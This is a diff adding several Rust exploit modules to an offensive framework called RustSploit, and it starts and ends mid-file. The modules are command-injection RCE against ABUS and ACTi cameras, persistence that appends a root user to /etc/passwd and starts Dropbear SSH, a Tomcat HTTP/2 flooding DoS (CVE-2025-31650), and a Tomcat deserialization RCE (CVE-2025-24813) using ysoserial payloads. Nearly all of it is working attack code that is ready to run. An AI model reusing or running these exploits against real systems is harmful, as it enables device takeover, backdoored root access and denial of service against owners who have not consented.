"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
io::stdout().flush()?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
io::stdout().flush()?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
|
||||
if raw.contains("]:") {
|
||||
if let Some(idx) = raw.rfind("]:") {
|
||||
let addr_raw = &raw[..idx];
|
||||
let port = &raw[idx + 2..];
|
||||
// strip ALL brackets from the address portion
|
||||
let addr_inner = addr_raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
return format!("[{}]:{}", addr_inner, port);
|
||||
}
|
||||
}
|
||||
// Otherwise, remove any outer brackets entirely...
|
||||
let inner = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
|
||||
if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a command using the vulnerable RCE endpoint
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Inject a root user with a hashed password into /etc/passwd
|
||||
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
|
||||
let payload = format!(
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Generate an MD5 hash of the given password
|
||||
fn generate_md5_hash(password: &str) -> String {
|
||||
let digest = md5::compute(password.as_bytes());
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
io::stdout().flush()?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
io::stdout().flush()?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Dispatcher entry-point for the auto-dispatch framework
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute_flow(target).await
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod abussecurity_camera_cve202326609variant1;
|
||||
pub mod abussecurity_camera_cve202326609variant2;
|
||||
@@ -0,0 +1,79 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// // Reference:
|
||||
/// // - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// // Exploit authors:
|
||||
/// // - Todor Donev <todor.donev@gmail.com>
|
||||
/// // - GH0st3rs (RouterSploit module)
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 8080; // // Default port
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("[+] Target seems vulnerable: {}:{}", target, port);
|
||||
|
||||
// // Simulated shell command execution
|
||||
let cmd = "id"; // // You can change this to any test command
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("[+] Executed '{}':\n{}", cmd, output);
|
||||
|
||||
// // You can extend this to implement full shell injection
|
||||
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
|
||||
} else {
|
||||
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let res = client
|
||||
.get(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.query(&[("iperf", format!(";{}", cmd))])
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
// // Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
// // Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acm_5611_rce;
|
||||
@@ -0,0 +1,193 @@
|
||||
use anyhow::{anyhow, bail, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::{ClientBuilder};
|
||||
use std::io::{self, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use rand::prelude::IndexedRandom;
|
||||
|
||||
/// TomcatKiller - CVE-2025-31650
|
||||
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
|
||||
println!("Developed by: @absholi7ly");
|
||||
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
|
||||
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
|
||||
|
||||
let port = prompt_for_port().unwrap_or(443);
|
||||
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("https://{}", target)
|
||||
};
|
||||
|
||||
let (host, _) = match validate_url(&normalized) {
|
||||
Ok(hp) => hp,
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Invalid target URL: {e}").red());
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let clean_host = strip_ipv6_brackets(&host);
|
||||
let num_tasks = 300;
|
||||
let requests_per_task = 100000;
|
||||
|
||||
match check_http2_support(&clean_host, port).await {
|
||||
Ok(true) => {
|
||||
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
|
||||
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
|
||||
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
|
||||
|
||||
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for i in 0..num_tasks {
|
||||
let h = clean_host.clone();
|
||||
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
|
||||
}
|
||||
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
monitor_handle.abort();
|
||||
}
|
||||
Ok(false) => {
|
||||
bail!("Target does not support HTTP/2. Exploit not applicable.");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
|
||||
return Err(e);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_for_port() -> Option<u16> {
|
||||
print!("{}", "Enter target port (default 443): ".cyan());
|
||||
io::stdout().flush().ok()?;
|
||||
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer).ok()?;
|
||||
|
||||
let trimmed = buffer.trim();
|
||||
if trimmed.is_empty() {
|
||||
Some(443)
|
||||
} else {
|
||||
trimmed.parse::<u16>().ok()
|
||||
}
|
||||
}
|
||||
|
||||
fn strip_ipv6_brackets(host: &str) -> String {
|
||||
host.trim_matches(|c| c == '[' || c == ']').to_string()
|
||||
}
|
||||
|
||||
fn validate_url(url: &str) -> Result<(String, u16)> {
|
||||
let parsed = url::Url::parse(url)?;
|
||||
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
|
||||
let port = parsed.port_or_known_default().unwrap_or(443);
|
||||
Ok((host, port))
|
||||
}
|
||||
|
||||
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.http2_prior_knowledge()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let url = format!("https://{}:{}/", host, port);
|
||||
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
|
||||
|
||||
match resp {
|
||||
Ok(response) => {
|
||||
if response.version() == reqwest::Version::HTTP_2 {
|
||||
println!("{}", "HTTP/2 supported! Proceeding ...".green());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
|
||||
let priorities = get_invalid_priorities();
|
||||
let client = match ClientBuilder::new()
|
||||
.http2_prior_knowledge()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(300))
|
||||
.build()
|
||||
{
|
||||
Ok(c) => c,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
let url = format!("https://{}:{}/", host, port);
|
||||
|
||||
for _ in 0..count {
|
||||
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
|
||||
let headers = [
|
||||
("priority", prio),
|
||||
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
|
||||
("cache-control", "no-cache".to_string()),
|
||||
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
|
||||
];
|
||||
|
||||
let mut req = client.get(&url);
|
||||
for (k, v) in headers.iter() {
|
||||
req = req.header(*k, v);
|
||||
}
|
||||
|
||||
let _ = req.send().await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn monitor_server(host: String, port: u16) {
|
||||
loop {
|
||||
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
|
||||
|
||||
match addr_result {
|
||||
Ok(mut addrs) => {
|
||||
if let Some(addr) = addrs.next() {
|
||||
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
|
||||
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
|
||||
} else {
|
||||
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
println!("{}", "DNS lookup failed.".red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", "Failed to resolve host for monitoring.".red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
}
|
||||
}
|
||||
|
||||
fn get_invalid_priorities() -> Vec<&'static str> {
|
||||
vec![
|
||||
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
|
||||
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
|
||||
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
|
||||
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
|
||||
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
|
||||
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
|
||||
"u=0, q=0, null=0",
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,320 @@
|
||||
use anyhow::{bail, Result};
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, Stdio};
|
||||
use std::time::Duration;
|
||||
use tokio::fs::{read, remove_file};
|
||||
|
||||
const BANNER: &str = r#"
|
||||
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
|
||||
██╔════╝██║ ██║██╔────╝ ╚════██╗██╔══██╗██╔══██╗██╔══██╗
|
||||
██║ ██║ ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║ ██║
|
||||
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║ ██║
|
||||
╚██████╗ ╚████╔╝ ███████╗ ██████╔╝██║ ██║██║ ██║██████╔╝
|
||||
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
|
||||
"#;
|
||||
|
||||
/// // Sanitize IPv6 URL
|
||||
fn sanitize_target(raw: &str) -> String {
|
||||
let fixed = raw.replace("[[", "[").replace("]]", "]");
|
||||
if fixed.starts_with("http://") || fixed.starts_with("https://") {
|
||||
fixed
|
||||
} else {
|
||||
format!("http://{}", fixed)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Prompt helper
|
||||
fn prompt(message: &str, default: Option<&str>) -> String {
|
||||
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
io::stdout().flush().unwrap();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
let input = buf.trim();
|
||||
if input.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
input.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if server is writable
|
||||
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
|
||||
let check_url = format!("{}/check.txt", target_url);
|
||||
let res = client
|
||||
.put(&check_url)
|
||||
.header("Host", format!("{host}:{port}"))
|
||||
.header("Content-Length", "10000")
|
||||
.header("Content-Range", "bytes 0-1000/1200")
|
||||
.body("testdata".to_string())
|
||||
.timeout(Duration::from_secs(10))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
|
||||
println!("[+] Server is writable via PUT: {check_url}");
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("[-] Server not writable: HTTP {}", res.status());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Generate a raw Java payload JAR via `javac` and `jar`
|
||||
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
|
||||
let payload_java = format!(
|
||||
r#"
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
|
||||
public class Exploit {{
|
||||
static {{
|
||||
try {{
|
||||
String cmd = "{cmd}";
|
||||
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
|
||||
Runtime.getRuntime().exec(cmd).getInputStream()
|
||||
));
|
||||
String line;
|
||||
StringBuilder output = new StringBuilder();
|
||||
while ((line = reader.readLine()) != null) {{
|
||||
output.append(line).append("\\n");
|
||||
}}
|
||||
PrintWriter out = new PrintWriter(System.out);
|
||||
out.println(output.toString());
|
||||
out.flush();
|
||||
}} catch (IOException e) {{
|
||||
e.printStackTrace();
|
||||
}}
|
||||
}}
|
||||
}}
|
||||
"#,
|
||||
cmd = command
|
||||
);
|
||||
|
||||
println!("[*] Generating Java payload using system javac and jar...");
|
||||
|
||||
std::fs::write("Exploit.java", &payload_java)?;
|
||||
let compile = Command::new("javac").arg("Exploit.java").status()?;
|
||||
if !compile.success() {
|
||||
bail!("[-] javac failed. Make sure JDK is installed.");
|
||||
}
|
||||
|
||||
let package = Command::new("jar")
|
||||
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
|
||||
.status()?;
|
||||
|
||||
if !package.success() {
|
||||
bail!("[-] jar packaging failed.");
|
||||
}
|
||||
|
||||
std::fs::remove_file("Exploit.java").ok();
|
||||
std::fs::remove_file("Exploit.class").ok();
|
||||
|
||||
println!("[+] Java payload JAR created: {}", payload_file);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Generate ysoserial payload
|
||||
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
|
||||
if !Path::new(ysoserial_path).exists() {
|
||||
bail!("[-] Error: {} not found", ysoserial_path);
|
||||
}
|
||||
|
||||
println!("[*] Generating ysoserial payload: {}", command);
|
||||
let output = Command::new("java")
|
||||
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
|
||||
.stdout(Stdio::piped())
|
||||
.spawn()?
|
||||
.wait_with_output()?;
|
||||
|
||||
std::fs::write(payload_file, output.stdout)?;
|
||||
println!("[+] Payload generated: {payload_file}");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Upload and verify payload
|
||||
async fn upload_and_verify_payload(
|
||||
client: &Client,
|
||||
target_url: &str,
|
||||
host: &str,
|
||||
port: &str,
|
||||
session_id: &str,
|
||||
payload_file: &str,
|
||||
) -> Result<bool> {
|
||||
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
|
||||
let payload = read(payload_file).await?;
|
||||
|
||||
let res = client
|
||||
.put(&exploit_url)
|
||||
.header("Host", format!("{host}:{port}"))
|
||||
.header("Content-Length", "10000")
|
||||
.header("Content-Range", "bytes 0-1000/1200")
|
||||
.body(payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status() == StatusCode::CONFLICT {
|
||||
println!("[+] Upload successful (409): {}", exploit_url);
|
||||
|
||||
let confirm = client
|
||||
.get(target_url)
|
||||
.header("Cookie", "JSESSIONID=absholi7ly")
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
|
||||
println!("[+] Exploit triggered! Server returned 500.");
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("[-] Trigger failed: {}", confirm.status());
|
||||
Ok(false)
|
||||
}
|
||||
} else {
|
||||
println!("[-] Upload failed: HTTP {}", res.status());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Get session ID
|
||||
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
|
||||
let res = client
|
||||
.get(&format!("{}/index.jsp", target_url))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let body = res.text().await?;
|
||||
let re = Regex::new(r"Session ID: (\w+)")?;
|
||||
|
||||
if let Some(caps) = re.captures(&body) {
|
||||
return Ok(caps[1].to_string());
|
||||
}
|
||||
|
||||
println!("[-] No session ID found. Using default.");
|
||||
Ok("absholi7ly".to_string())
|
||||
}
|
||||
|
||||
/// // Exploit logic
|
||||
async fn execute_exploit(
|
||||
target_url: &str,
|
||||
port: &str,
|
||||
command: &str,
|
||||
ysoserial_path: &str,
|
||||
gadget: &str,
|
||||
payload_type: &str,
|
||||
verify_ssl: bool,
|
||||
) -> Result<()> {
|
||||
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
|
||||
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
|
||||
let session_id = get_session_id(&client, target_url).await?;
|
||||
|
||||
println!("[*] Session ID: {session_id}");
|
||||
|
||||
if check_writable_servlet(&client, target_url, host, port).await? {
|
||||
let payload_file = "payload.ser";
|
||||
|
||||
match payload_type {
|
||||
"java" => generate_java_payload(command, payload_file)?,
|
||||
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
|
||||
_ => bail!("[-] Invalid payload type: {}", payload_type),
|
||||
}
|
||||
|
||||
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
|
||||
println!("[+] Target vulnerable to CVE-2025-24813!");
|
||||
} else {
|
||||
println!("[-] Exploit failed or target not vulnerable.");
|
||||
}
|
||||
|
||||
remove_file(payload_file).await.ok();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{BANNER}");
|
||||
|
||||
let mut target = sanitize_target(target);
|
||||
println!("[+] Target sanitized: {}", target);
|
||||
|
||||
let mut command = String::from("calc.exe");
|
||||
let mut port = prompt("Enter port (default 8080)", Some("8080"));
|
||||
println!("[+] Default port set to {}", port);
|
||||
|
||||
let mut ysoserial_path = String::from("ysoserial.jar");
|
||||
let mut gadget = String::from("CommonsCollections6");
|
||||
let mut payload_type = String::from("ysoserial");
|
||||
let mut ssl_verify = true;
|
||||
|
||||
loop {
|
||||
println!(
|
||||
r#"
|
||||
=== MENU ===
|
||||
1. Set Target URL (current: {target})
|
||||
2. Set Command (current: {command})
|
||||
3. Set Port (current: {port})
|
||||
4. Set ysoserial Path (current: {ysoserial_path})
|
||||
5. Set Gadget (current: {gadget})
|
||||
6. Set Payload Type (current: {payload_type})
|
||||
7. Toggle SSL Verify (current: {ssl_verify})
|
||||
8. Run Exploit
|
||||
9. Exit
|
||||
"#
|
||||
);
|
||||
|
||||
let selection = prompt("Select an option", None);
|
||||
match selection.as_str() {
|
||||
"1" => {
|
||||
target = prompt("Enter target URL", Some(&target));
|
||||
println!("[+] Target updated: {target}");
|
||||
}
|
||||
"2" => {
|
||||
command = prompt("Enter command to execute", Some(&command));
|
||||
println!("[+] Command set: {command}");
|
||||
}
|
||||
"3" => {
|
||||
port = prompt("Enter port", Some(&port));
|
||||
println!("[+] Port set: {port}");
|
||||
}
|
||||
"4" => {
|
||||
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
|
||||
println!("[+] ysoserial path set: {ysoserial_path}");
|
||||
}
|
||||
"5" => {
|
||||
gadget = prompt("Enter gadget", Some(&gadget));
|
||||
println!("[+] Gadget set: {gadget}");
|
||||
}
|
||||
"6" => {
|
||||
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
|
||||
if payload_type != "ysoserial" && payload_type != "java" {
|
||||
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
|
||||
payload_type = "ysoserial".into();
|
||||
} else {
|
||||
println!("[+] Payload type set: {payload_type}");
|
||||
}
|
||||
}
|
||||
"7" => {
|
||||
ssl_verify = !ssl_verify;
|
||||
println!("[!] SSL verification toggled: {ssl_verify}");
|
||||
}
|
||||
"8" => break,
|
||||
"9" => {
|
||||
println!("[!] Exiting without running exploit.");
|
||||
return Ok(());
|
||||
}
|
||||
_ => println!("[-] Invalid option. Please choose 1-9."),
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Starting exploit with:");
|
||||
println!(" Target URL : {target}");
|
||||
println!(" Command : {command}");
|
||||
println!(" Port : {port}");
|
||||
println!(" ysoserial : {ysoserial_path}");
|
||||
println!(" Gadget : {gadget}");
|
||||
println!(" SSL Verify : {ssl_verify}");
|
||||
|
||||
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
pub mod cve_2025_24813_apache_tomcat_rce;
|
||||
pub mod catkiller_cve_2025_31650;
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
ip.to_string()
|
||||
} else {
|
||||
format!("http://{}", ip)
|
||||
};
|
||||
|
||||
let port = port.trim();
|
||||
if port.is_empty() {
|
||||
with_scheme
|
||||
} else if with_scheme.contains(':') {
|
||||
with_scheme // already has port
|
||||
} else {
|
||||
format!("{}:{}", with_scheme, port)
|
||||
}
|
||||
}
|
||||
|
||||
